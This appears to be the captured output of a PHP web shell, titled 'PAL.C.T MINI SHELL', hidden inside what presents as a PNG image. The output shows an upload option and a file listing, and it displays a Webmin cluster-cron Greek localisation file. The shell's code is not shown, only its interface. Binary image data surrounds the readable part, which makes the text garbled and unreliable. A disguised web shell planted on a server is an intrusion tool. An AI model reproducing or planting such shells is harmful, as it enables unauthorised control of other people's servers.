php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/cluster-cron/lang/
upload
files >> //usr/libexec/webmin/cluster-cron/lang/el.auto

index_title=Συγκέντρωση εργασιών Cron
index_add=Δημιουργήστε μια νέα εργασία cron συμπλέγματος.
index_none=Δεν έχουν καθοριστεί καθήκοντα cron συστάδας.
index_servers=Εκτελέστε σε διακομιστές
index_return=λίστα καταστάσεων συμπλέγματος cron
index_more=$1 περισσότερα ..
index_run=Τρέξε τώρα ..
index_actions=Ενέργειες

edit_title=Επεξεργασία εργασίας συμπλέγματος Cron
create_title=Δημιουργία εργασίας Cron Cluster
edit_servers=Εκτελέστε σε διακομιστές
edit_group=Μέλη του $1 
edit_this=αυτόν τον διακομιστή
edit_all=<Όλοι οι κεντρικοί υπολογιστές>
edit_emissing=Η εργασία Cron δεν υπάρχει πια!

save_err=Αποτυχία αποθήκευσης εργασίας cron συμπλέγματος

exec_title=Εκτελέστε την εργασία Cron Cluster
exec_cmd=Εκτελείται $1 σε επιλεγμένους διακομιστές ..
exec_failed=Δεν ήταν δυνατή η εκτέλεση του $1 : $2 
exec_success=Έξοδος από $1 ..
exec_nohosts=Δεν έχουν επιλεγεί οι οικοδεσπότες που θα εκτελούνται ή οι επιλεγμένες ομάδες δεν περιέχουν χρήσιμους οικοδεσπότες.

log_run=Έτρεξε $1 σε $2 διακομιστές
log_run_l=Έτρεξε $1 στο $2 
log_create=Δημιουργήθηκε δουλειά cron για cluster για το $1 
log_create_l=Δημιουργήθηκε η εργασία cron συστάδας $2 για το $1 
log_modify=Τροποποιημένη εργασία cron συμπλέγματος για το $1 
log_modify_l=Τροποποιημένη εργασία cron συστάδας $2 για το $1 
log_delete=Διαγράφηκε εργασία cron συμπλέγματος για το $1 
log_delete_l=Διαγράφηκε δουλειά cron του cluster $2 για το $1 
log_deletes=Διαγράφηκαν εργασίες cron συσσώρευσης $1 

delete_err=Δεν ήταν δυνατή η διαγραφή των εργασιών cron του cluster
delete_enone=Δεν έχει επιλεγεί
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`